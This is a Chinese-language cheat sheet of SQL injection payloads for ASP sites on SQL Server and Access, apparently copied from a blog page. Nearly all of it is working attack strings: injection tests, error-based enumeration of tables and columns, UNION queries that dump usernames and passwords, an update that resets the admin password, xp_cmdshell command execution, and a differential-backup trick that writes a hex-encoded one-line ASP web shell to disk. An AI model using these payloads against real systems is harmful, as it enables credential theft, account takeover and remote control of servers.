zoukankan      html  css  js  c++  java
  • SQL注入常用语句

    整形参数判断
        1、直接加'  2、and 1=1  3、 and 1=2
        如果1、3运行异常 2正常就存在注入
    字符型判断
        1、直接加'  2、and '1'='1'  3、 and '1'='2'
    搜索型: 关键字%' and 1=1 and '%'='%  
            关键字%' and 1=2 and '%'='%
        如果1、3运行异常 2正常就存在注入
    获取数据库版本
    and (select @@version)>0
    获取当前数据库名
    and db_name()>0
    获取当前数据库用户名
    and user>0
    and user_name()='dbo'
    猜解所有数据库名称
    and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0
    猜解表的字段名称
    and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
    and (select top 1 asernaose from admin where id =1)>1
    .asp?id=xx having 1=1  其中admin.id就是一个表名admin 一个列名id
    .asp?id=xx group by admin.id having 1=1 可以得到列名
    .asp?id=xx group by admin.id,admin.username having 1=1 得到另一个列名 页面要和表有联系
    如果知道了表名和字段名就可以爆出准确的值
    union select 1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6
    爆账号
    union select min(username),1,1,1,.. from users where username > 'a'
    依次循环爆其余的账号
    union select min(username),1,1,1,.. from users where username > 'admin'
    ;begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from userstable where username>@ret select @ret as ret into foo end
    修改管理员的密码为123
    .asp?id=××;update admin set password='123' where id =1
    .asp?id=××;insert into admin(asd,..) values(123,..) –就能能往admin中写入123了
    rebots.txt
    猜解数据库中用户名表的名称
    and (select count(*) from 数据库.dbo.表名)>0
    若表名存在,则工作正常,否则异常
    得到用户名表的名称,基本的实现方法是
    1:
    and (select top 1 name from 数据库.dbo.sysobjects where xtype='U' and status>0 )>0 或
    and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
      但在异常中却可以发现表的名称。假设发现的表名是xyz,则
    2:
    and (select top 1 name from 数据库.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','..'..))>0
      可以得到第二个用户建立的表的名称,同理就可得到所有用建立的  表的名称
    3:
    and (select top l name from (select top [N]id,name from bysobjects where  xtype=char(85)) T order  by  id  desc)>1 N为数据库中地N个表
    利用系统表区分数据库类型
    and (select count(*) from  sysobjects)>0
    and (select count(*) from msysobjects)>0
    若是SQL-SERVE则第一条,ACCESS则两条都会异常
    判断是否有比较高的权限
    and 1=(select is_srvrolemember('sysadmin'))
    and 1=(select is_srvrolemember('serveradmin'))
    判断当前数据库用户名是否为db_owner:
    and 1=(select is_member('db_owner'))
    xp_cmdshell
    :exec master..xp_cmdshell '要执行的cmd命令'
    判断长度
    and (select top 1 len(字段) from 表名)>5
    爆料出正确值
    and (select top 1 asc(substring(字段,1,1)) from 表名)>0
    差异备份
    //备份数据库到某处
    ;backup database 数据库名 to disk ='c:\charlog.bak';--
    //创建名为datachar的表
    ;create table [dbo].[datachar] ([cmd] [image])
      cmd为列名 image 数据类型
    //插入值,为一句话木马的16进制形式:<%execute(request("a"))%>
    ;insert into datachar(cmd)values(0x3C25657865637574652872657175657374282261222929253E)—
    //进行差异备份,把不同的信息备份到某处
    ;backup database 数据库名 to disk='目录' WITH DIFFERENTIAL,FORMAT;-- 
  • 相关阅读:
    visual studio 注释与取消注释
    visual studio错误之 无法将参数 1 从“const char [5]”转换为“char *”
    sdl_ffmpeg_video
    sdl_ffmpeg_audio
    visual studio添加第三方库文件,每次都要配置包含目录和库目录(繁琐),一劳永逸的办法
    visual studio 错误之errorC2362:“gototmpstr”跳过了“XXXX”的初始化操作
    visual studio调用SDL2和ffmpeg
    没用过得库函数
    visual studio编译错误之xx被声明为已否决
    vim把一个文件的若干行追加到另一个文件
  • 原文地址:https://www.cnblogs.com/wayne173/p/3747462.html
Copyright © 2011-2022 走看看